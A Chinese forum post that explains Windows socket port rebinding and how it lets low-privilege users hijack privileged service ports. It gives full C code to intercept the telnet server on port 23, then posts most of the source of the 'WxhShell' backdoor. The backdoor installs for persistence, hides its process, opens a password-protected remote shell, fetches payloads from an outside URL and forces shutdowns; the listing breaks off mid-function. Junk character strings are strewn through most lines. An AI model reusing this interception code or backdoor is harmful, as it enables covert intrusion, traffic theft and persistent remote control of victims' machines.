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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !D['}%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f@YdL6&d-  
BhDg\oxZ  
  saddr.sin_family = AF_INET; +0U=UV)U  
=| T^)J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mOj; 0 R  
tgG 8pL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BNJ0D  
Z:^#9D{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M>5OC)E  
o}QP+  
  这意味着什么?意味着可以进行如下的攻击: eZa7brC|  
=5*Wu+S4r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 plPPf+\  
J|{50?S{^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rkji#\_-FV  
"XxmiK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^cNuEF9  
swZi O_85  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >ymn&_zlT  
v3cMPN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KwHN c\\  
kCD] &  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n[e C  
ynM:]*~K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )B $Q  
QWa@?BO2p  
  #include P\K#q%8  
  #include DgcS@N  
  #include G7Ck P  
  #include    v#{Nh8n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^G`6Zg;  
  int main() GdUsv  
  { -){6ynqv  
  WORD wVersionRequested; ,gZp/yJ;  
  DWORD ret; )nf%S+KV  
  WSADATA wsaData; ?" 4X&6xl  
  BOOL val; 8y6dT  
  SOCKADDR_IN saddr; @"NP`#  
  SOCKADDR_IN scaddr; xltN-<n7  
  int err; MzUKp"  
  SOCKET s; -4+'(3qr  
  SOCKET sc; 4+>yL+sC%v  
  int caddsize; bP-(N14x+  
  HANDLE mt; uQH]  
  DWORD tid;   0J/yd  
  wVersionRequested = MAKEWORD( 2, 2 ); _!zc <&~I  
  err = WSAStartup( wVersionRequested, &wsaData ); +`wr{kB$~  
  if ( err != 0 ) { UfPB-EFl$D  
  printf("error!WSAStartup failed!\n"); k0=!%f_G!  
  return -1; 0qNmao4E_  
  } +o4o!;E)  
  saddr.sin_family = AF_INET; Wjq9f;  
   ]Xa]a}[uE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;"IWm<]h;-  
Uv[a ~'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ($`IHKF1.l  
  saddr.sin_port = htons(23); $+J39%Y!^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /9kxDbj  
  { XdThl  
  printf("error!socket failed!\n"); 7.VP7;jys  
  return -1; ]tu OWR  
  } VRY(@# q  
  val = TRUE; \y?*} L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'Up75eT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RQWUO^&e^  
  { O,),0zcYF  
  printf("error!setsockopt failed!\n"); Z*w({k7]  
  return -1; Zs/-/C|  
  } ,=CipL9]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \?v&JmEU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qspGNu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p/_W*0/i  
A@|Z^T:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^_v94!a 9  
  { p_BG#dRM  
  ret=GetLastError(); ^PFiO 12  
  printf("error!bind failed!\n"); KB~1]cYMp  
  return -1;  ,d/$!Yf  
  } {@L{l1|0  
  listen(s,2); [dLc+h1{B  
  while(1) `:Wyw<^  
  { _YR#J%xa  
  caddsize = sizeof(scaddr); eD7\,}O  
  //接受连接请求 cHr]{@7Cs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YIW9z{rrs  
  if(sc!=INVALID_SOCKET) XsJ`x  
  { d(t)8k$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H#GR*4x  
  if(mt==NULL) pW8?EGO@  
  { (9( xJ)  
  printf("Thread Creat Failed!\n"); %P1zb7:8  
  break; f 5bX,e)!  
  } Y<POdbg  
  } z5({A2q  
  CloseHandle(mt); vh"';L_*37  
  } #]+BIr`  
  closesocket(s); _5n2'\] H`  
  WSACleanup(); FEhBhv|m  
  return 0; l2W+VBn6  
  }   }` `oojz  
  DWORD WINAPI ClientThread(LPVOID lpParam) PT,*KYF_O"  
  { zx "EAF{  
  SOCKET ss = (SOCKET)lpParam; Bi fI.2|  
  SOCKET sc; D_<B^3w )  
  unsigned char buf[4096]; < q(i(%  
  SOCKADDR_IN saddr; yD3vq}U!  
  long num; M.5F|7  
  DWORD val; sCy.i/y  
  DWORD ret; YRZw|H{>t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F ! v01]O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4`v[p4k  
  saddr.sin_family = AF_INET; 7Y~5gn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u* iqwm.  
  saddr.sin_port = htons(23); b*| ?7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g-#eMQ%J  
  { QP<P,Bi~  
  printf("error!socket failed!\n"); moVf(7  
  return -1; 5C*Zb3VG4  
  } !#]kzS0  
  val = 100; nq7)0F%e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :/? Op  
  { J.2BBy  
  ret = GetLastError(); Yy[=E\z  
  return -1; ^+~$eg&js  
  } uq:'`o-1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uJ=&++[  
  { ArX*3  
  ret = GetLastError(); u (r T2  
  return -1; "OUY^ cM  
  } X+emJ&Z$@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UBM8l  
  { .O~rAu*K  
  printf("error!socket connect failed!\n"); b,HXD~=  
  closesocket(sc); ,t1s#*j\!q  
  closesocket(ss); 3S^Qo9S  
  return -1; YA8/TFu<_  
  } mNe908Yw  
  while(1) m|cRj{xZF  
  { jvd3_L-@E<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <C"}OW8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gcX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]]V=\.y  
  num = recv(ss,buf,4096,0); q{,yas7}  
  if(num>0) :1iXBG\  
  send(sc,buf,num,0); <9=RLENmY"  
  else if(num==0) . VI #  
  break; qy\SOA h  
  num = recv(sc,buf,4096,0); E.VEW;=  
  if(num>0) ,,9vk\  
  send(ss,buf,num,0); %u|Qh/?7  
  else if(num==0) QIN# \  
  break; )Knsy  
  } 8v;T_VN  
  closesocket(ss); n!b*GXb\  
  closesocket(sc); z9#jXC#OdN  
  return 0 ; f}FJR6VO  
  } R<h0RKiM@  
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NVC$8imip  
========================================================== =g@hh)3wP  
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下边附上一个代码,,WXhSHELL ";0-9*I  
H<b4B$/  
========================================================== 4f0dc\$  
GEb)nHQq  
#include "stdafx.h" WWTJ%Rd|  
yNx"Ey dk`  
#include <stdio.h> 1^;&?E  
#include <string.h> <* PjG}Z.  
#include <windows.h> xi\uLu?i  
#include <winsock2.h> 6d 8n1_  
#include <winsvc.h> N) z] F9Kg  
#include <urlmon.h>  93 `  
8>:2li  
#pragma comment (lib, "Ws2_32.lib") HoM8V"8B  
#pragma comment (lib, "urlmon.lib") uqy~hY  
9>@"W-  
#define MAX_USER   100 // 最大客户端连接数 ^h|'\-d\  
#define BUF_SOCK   200 // sock buffer 483vFLnF  
#define KEY_BUFF   255 // 输入 buffer :\1&5Pm]  
9Bmgz =8  
#define REBOOT     0   // 重启 JeCEj=_Z  
#define SHUTDOWN   1   // 关机 X_|} b[b  
}fxH>79g  
#define DEF_PORT   5000 // 监听端口 -3b0;L&4>x  
lu.2ZQE  
#define REG_LEN     16   // 注册表键长度 Ki@8  
#define SVC_LEN     80   // NT服务名长度 2I39fZa  
Un[#zh<4  
// 从dll定义API 8c$IsvJg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); & l|B>{4v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r>q`# ~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8i"{GGVC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MN)<Tr2f  
mKq9mA"(E  
// wxhshell配置信息 `Op ";E88  
struct WSCFG { tv|=`~Y  
  int ws_port;         // 监听端口 )ZmE"  
  char ws_passstr[REG_LEN]; // 口令 +V\NMW4d  
  int ws_autoins;       // 安装标记, 1=yes 0=no )'<zC  
  char ws_regname[REG_LEN]; // 注册表键名 bm7$DKp#  
  char ws_svcname[REG_LEN]; // 服务名 r*3XM{bZ/@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'XQv>J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A><%"9pZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +Q_Gm3^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  L_Ai/'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C ILk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IX3U\_I#  
C"mb-n 7s  
}; KoXXNJax  
J<zg 'Jk^  
// default Wxhshell configuration CC87<>V  
struct WSCFG wscfg={DEF_PORT, nocH~bAf2  
    "xuhuanlingzhe", !kKKJ~,;  
    1, ) DLK<10  
    "Wxhshell", y! 1NS  
    "Wxhshell", P?uKDON  
            "WxhShell Service", (c*Dvpo1  
    "Wrsky Windows CmdShell Service", YvHn~gNPhs  
    "Please Input Your Password: ", +yea}uUE  
  1, ;~q)^.K3  
  "http://www.wrsky.com/wxhshell.exe", NAocmbfNz  
  "Wxhshell.exe" -jw=Iyv  
    }; " 7 4L  
]V]o%onW  
// 消息定义模块 ,^,J[F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bU,& |K/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BPOWo8TqD^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &]c9}Ic  
char *msg_ws_ext="\n\rExit."; BZ T%+s;u9  
char *msg_ws_end="\n\rQuit."; wb9zJAsc  
char *msg_ws_boot="\n\rReboot..."; }w@nZG ^&  
char *msg_ws_poff="\n\rShutdown..."; Y\x Xo?  
char *msg_ws_down="\n\rSave to "; tE>:kx0*3  
J8D-a!  
char *msg_ws_err="\n\rErr!"; +[7u>RJ  
char *msg_ws_ok="\n\rOK!"; K^vMIoh  
z'I0UB#  
char ExeFile[MAX_PATH]; tw')2UGg  
int nUser = 0; MdfkC6P  
HANDLE handles[MAX_USER]; 6a!X`%N=  
int OsIsNt; Zj0&/S  
fj JIF%  
SERVICE_STATUS       serviceStatus; 1wM p3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1|89-Ii]  
zc(7p;w#p  
// 函数声明 xMh&C{q  
int Install(void); cS[`1y,\3  
int Uninstall(void); n(+:l'#HJ  
int DownloadFile(char *sURL, SOCKET wsh); pVY.&XBZ$  
int Boot(int flag); x"d*[m  
void HideProc(void); j)5Vv K\  
int GetOsVer(void); i xyjl[G  
int Wxhshell(SOCKET wsl); Q&LkST-i  
void TalkWithClient(void *cs); Ek BM>*W  
int CmdShell(SOCKET sock); GgYomR:  
int StartFromService(void); }?^G= IP4(  
int StartWxhshell(LPSTR lpCmdLine); Z~gqTB]H  
DQ}]'*@?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iB`m!g6$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oAx0$]+%V)  
YD%Kd&es  
// 数据结构和表定义 +Lr0i_al  
SERVICE_TABLE_ENTRY DispatchTable[] = 3N21[i2/m  
{ ;vx9xs?6  
{wscfg.ws_svcname, NTServiceMain}, C u:-<  
{NULL, NULL} h^)2:0#{I  
}; dd+).*  
StVv"YY  
// 自我安装 b6(yyYdF  
int Install(void) Bk F[nL*|  
{ 5*r6#[S\  
  char svExeFile[MAX_PATH]; ~eP 2PG  
  HKEY key; td~3N,S  
  strcpy(svExeFile,ExeFile); #]'xUgcE9  
g/J!U8W"  
// 如果是win9x系统,修改注册表设为自启动 Ww~0k!8,t  
if(!OsIsNt) { l9h;dI{6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =EJ"edw]%0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7$;$4.'  
  RegCloseKey(key); G!IQ<FuY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U8mu<)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pf_ /jR  
  RegCloseKey(key); 8FITcK^  
  return 0; A0ToX) |C  
    } !ZZAI_N  
  } ;a`X|N9  
} ~83P09\T%  
else { 1DP)6{x  
@6SSk=9_S  
// 如果是NT以上系统,安装为系统服务 ik*_,51Zj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @n(In$  
if (schSCManager!=0) ^q` *!B 9@  
{ Vmc)or*#  
  SC_HANDLE schService = CreateService $%-?S]6)  
  ( Ymu=G3-  
  schSCManager, EUkNh>U?  
  wscfg.ws_svcname, (Wqhuw!u  
  wscfg.ws_svcdisp, qg/5m;U  
  SERVICE_ALL_ACCESS, I .ty-X]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z"#.o^5  
  SERVICE_AUTO_START, !)=o,sVA  
  SERVICE_ERROR_NORMAL, [}p.*U_nw  
  svExeFile, @gc"-V*-/  
  NULL, l?o- p  
  NULL, 4o3GS8  
  NULL, Izu.I_$4  
  NULL, %K7}yy&9C  
  NULL cw.7YiU  
  ); M\f0 =`g  
  if (schService!=0) s|T7)PgR  
  { =.a ]?&Yyh  
  CloseServiceHandle(schService); M6sDtL9l  
  CloseServiceHandle(schSCManager); 08a|]li  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [Bo$?  
  strcat(svExeFile,wscfg.ws_svcname); KF)i66  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B(LV22#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); val<N293L>  
  RegCloseKey(key); }[`?#`sW  
  return 0; t,,^^ll  
    } eZi<C}z  
  } (&,R1dLo  
  CloseServiceHandle(schSCManager); .)w0C%]  
} )[*O^bPowI  
} \irjIXtV  
|5Pbc&mH8A  
return 1; kVv <tw  
} xF;v 6d  
h6i{5\7.  
// 自我卸载 Gu).*cU  
int Uninstall(void) rR~X>+K  
{ `WS_*fJ5  
  HKEY key; 8)8oR&(f  
sIsu >eL  
if(!OsIsNt) { p%1m&/ `F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [!mjUsut*  
  RegDeleteValue(key,wscfg.ws_regname); 1.uQ(>n  
  RegCloseKey(key); su;S)yZb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;7k7/f:  
  RegDeleteValue(key,wscfg.ws_regname); >>zoG3H!  
  RegCloseKey(key); KCE-6T  
  return 0; d Al<'~g  
  } Zd ,=  
} V bOLTc  
} RfG$Px '  
else { +hgCk87%#  
^^l"brPa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |81N/]EER  
if (schSCManager!=0) 6~W E#z_  
{ o q)"1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V&v~kzLr+  
  if (schService!=0) W2qQKv  
  { wlg#c6#q  
  if(DeleteService(schService)!=0) { d|RmU/)  
  CloseServiceHandle(schService); >:&p(eu)L0  
  CloseServiceHandle(schSCManager); 0K0=Ob^(e  
  return 0; l0if#?4\r  
  } r$Y!Y#hwQ  
  CloseServiceHandle(schService); Ky$G$H  
  } d/rz0L  
  CloseServiceHandle(schSCManager); LW5ggU/  
} $]JIA|  
} JSK5x(GlH  
-U[`pUY?f  
return 1; Fjt,  
} $ n[7  
:-" jK w  
// 从指定url下载文件 "IJMvTmj  
int DownloadFile(char *sURL, SOCKET wsh) MWh+h7k'  
{ q Xhf?x  
  HRESULT hr; _C=[bI@  
char seps[]= "/"; ArzsZ<\//  
char *token; d ovwB`5  
char *file; ^l&4UnLlc  
char myURL[MAX_PATH]; ky$:C,1t  
char myFILE[MAX_PATH]; n@[</E(  
.BDRD~kB  
strcpy(myURL,sURL); T JS1,3<  
  token=strtok(myURL,seps); kTc5KHJ7  
  while(token!=NULL) 9R"N#w.U]  
  { @k6}4O?{  
    file=token; ?9@Af{b t2  
  token=strtok(NULL,seps); I} fcFL8  
  } {<[tYZmj.  
%&+R":Bw  
GetCurrentDirectory(MAX_PATH,myFILE); +gCy@_2;  
strcat(myFILE, "\\"); P Xn>x8z  
strcat(myFILE, file); 1'm`SRX#e  
  send(wsh,myFILE,strlen(myFILE),0); LE80`t>M#  
send(wsh,"...",3,0); *1S.9L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *N e2l`!1m  
  if(hr==S_OK) }SN44 di(  
return 0; =M{CZm  
else } %CbZ/7&  
return 1; PG[O?l  
{)9HS~e T  
} @<TZH  
{&u7kWD|  
// 系统电源模块 T^;Jz!e  
int Boot(int flag) ss@}Dt^  
{ f<4q]HCa  
  HANDLE hToken; )X!DCL:16  
  TOKEN_PRIVILEGES tkp; | 4oM+n;Y  
J~'Q^O3@  
  if(OsIsNt) { uNZ>oP>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^ R^N`V   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jI2gi1 ,a  
    tkp.PrivilegeCount = 1; Z6([/n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I+j|'=M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _6S b.9m  
if(flag==REBOOT) { #0<y0uJ(y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _.*4Y  
  return 0; :Z]hI+7  
} ]op^dW1;0_  
else { bo!]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~eOj:H  
  return 0; fQTA@WAr  
} 1L=Qg4 H  
  } s]<r  
  else { v\9,j  
if(flag==REBOOT) { cU5"c)$'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2T(,H.O  
  return 0; hB$Y4~T%  
} m/c&/6nk  
else { 9_A0:S9Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /xm#:+Sc  
  return 0; :;*#Qh3"  
} kPX2e h  
} .6 ?>t!&W  
} .H Fm'p  
return 1; &J/4J  
} 3auJ^B}  
9H, &nET  
// win9x进程隐藏模块 .Lr)~  
void HideProc(void) G<^]0`"+)t  
{ :UDn^ (#  
0B$7S,2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _QMHPRELk  
  if ( hKernel != NULL ) _?]BVw  
  { fByh";<`P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l88a#zUQDN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &c<}++'h  
    FreeLibrary(hKernel); R4~zL!7;  
  } Wt)SdF=U/  
ZH$sMh<xg  
return; ZOrTbik  
} bu"68A;>  
ic0v*Y$  
// 获取操作系统版本 IL>/PuZku  
int GetOsVer(void) ,F`KQ )\"  
{ |`Oa/\U  
  OSVERSIONINFO winfo; Y9@dZw%2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ij6Wz. *  
  GetVersionEx(&winfo); +G!jKta7B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r0g/:lJi  
  return 1; 97]a-)SA  
  else S-LZ(o{ZL  
  return 0; SC $`  
} >SxZ9T|%  
m]=oaj@9  
// 客户端句柄模块 iy.%kHC  
int Wxhshell(SOCKET wsl) )_c=mT  
{ EB29vHAt~  
  SOCKET wsh; dp[w?AMhM9  
  struct sockaddr_in client; B/sBYVU  
  DWORD myID; -Nlf~X  
Dd5xXs+c  
  while(nUser<MAX_USER) }rY?=I  
{ }$0xt'q&  
  int nSize=sizeof(client); 4$?w D <  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zOao&  
  if(wsh==INVALID_SOCKET) return 1; inPdV9  
)p!*c,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \Sw+]pr~  
if(handles[nUser]==0) yK&* ,J |  
  closesocket(wsh); ANFg]g.Az  
else 7dlKdKH  
  nUser++; N7~)qqb  
  } rZ!Yi*? f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :<N6i/  
RhV:Z3f`6  
  return 0; g* \P6  
} Yt/SnF  
,\S pjE  
// 关闭 socket 0 .FHdJ<  
void CloseIt(SOCKET wsh) 1~R$$P11[9  
{ R*Xu( 89  
closesocket(wsh); sMz^!RX@  
nUser--; (! 0j4'  
ExitThread(0); kh<pLI>$h  
} yWv<A^C &  
+w k]iH  
// 客户端请求句柄 { p!_-sL  
void TalkWithClient(void *cs) "^9[OgE:  
{ C?[a3rNH(  
B|Fl ,55  
  SOCKET wsh=(SOCKET)cs; uO ?Od  
  char pwd[SVC_LEN]; ]<8B-D?Z  
  char cmd[KEY_BUFF]; Vedyy\TU  
char chr[1]; $*AC>i\  
int i,j; ol$2sI=.s  
>&<<8Ln  
  while (nUser < MAX_USER) { %Le:wC  
UK"}}nO@e  
if(wscfg.ws_passstr) { ':!3jZP"m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yV J dZI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jF38kj3O7  
  //ZeroMemory(pwd,KEY_BUFF); c?!YFm  
      i=0; ]3O 4\o  
  while(i<SVC_LEN) { Wa[x`:cT?u  
VDByj "%  
  // 设置超时 atLV`U&t  
  fd_set FdRead; uq!;  
  struct timeval TimeOut; <$ i"zb  
  FD_ZERO(&FdRead);  cS D._"P  
  FD_SET(wsh,&FdRead); $N}/1R^?r  
  TimeOut.tv_sec=8; tjZ\h=  
  TimeOut.tv_usec=0; i<4>\nc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pKt-R07*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )YzHk ;(  
G}!7tU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OuOk=  
  pwd=chr[0]; k]SAJ~bS|  
  if(chr[0]==0xd || chr[0]==0xa) { {J,6iP{>ZN  
  pwd=0; a>wfhmr  
  break; ]UX`=+{  
  } 5q|+p?C  
  i++; 5:Yck<  
    } c Ndw9?Z  
.7 (DxN  
  // 如果是非法用户,关闭 socket 0PnD|]9:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2qZa9^}  
} 3[0w+{ (Q  
Yz&*PPx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QU^/[75Ea0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7$!`p,@we/  
AIZW@Nq.5  
while(1) { "wA0 LH_  
 20I4r  
  ZeroMemory(cmd,KEY_BUFF); a'@-"qk  
$uEJn&n7}  
      // 自动支持客户端 telnet标准   Xw7{R  
  j=0; PUbaS{J7  
  while(j<KEY_BUFF) { ''#p47$8<d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u.Mqj"o\  
  cmd[j]=chr[0]; c%|vUAq*  
  if(chr[0]==0xa || chr[0]==0xd) { cI*KRC U  
  cmd[j]=0; )Vwj9WD  
  break; m"lE&AM64p  
  } UF@IBb}0  
  j++; az0cS*@  
    } Vh"MKJ'R^  
9o-!ecx}  
  // 下载文件 kWB, ;7  
  if(strstr(cmd,"http://")) { ,f} h}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H4M{_2DO  
  if(DownloadFile(cmd,wsh)) NH'1rt(w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eo%UuSi  
  else +yzcx3<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tr}R`6d$  
  } X'cf&>h  
  else { [NYj.#,oR  
QJx9I_  
    switch(cmd[0]) { w[ Axs8N'  
  ,LhE shf  
  // 帮助 -#hK|1]  
  case '?': { Q]< (bD.7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +"'F Be  
    break; yh S#&)O  
  } WK pUn8&N  
  // 安装 /&CUspb  
  case 'i': { p3g4p  
    if(Install()) Xo2^N2I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hlX>K  
    else ($c`s8mp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tdg6kkJ  
    break; jvu N  
    } xN6>2e  
  // 卸载 wD`[5~C{  
  case 'r': { >G]?  
    if(Uninstall()) i-`,/e~XT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )))2f skZ  
    else br b[})}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ya:sW5fk  
    break; f%c06Un=  
    } "X`RQ6~]>  
  // 显示 wxhshell 所在路径 BsKbn@'uC  
  case 'p': { p~h4\ .*`  
    char svExeFile[MAX_PATH]; t)LU\!  
    strcpy(svExeFile,"\n\r"); Q/p(#/y#b  
      strcat(svExeFile,ExeFile); IWQ&6SDW$z  
        send(wsh,svExeFile,strlen(svExeFile),0); Bb~5& @M|N  
    break; NdZ)[f:2  
    } }d_<\  
  // 重启 DB#$~(o  
  case 'b': { g[M]i6h2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hHpx?9O+!  
    if(Boot(REBOOT)) GE@uO J6H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); im=5{PbJ^  
    else { 29%=:*R$  
    closesocket(wsh); (#oYyM]  
    ExitThread(0); 2xDQ :=ec  
    } J==}QEhQ{  
    break; ?FN9rhAC  
    } j~epbl)pC  
  // 关机 0{Bf9cH  
  case 'd': { _74UdD{^o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m=H_?W;  
    if(Boot(SHUTDOWN)) Vn'?3Eb<  
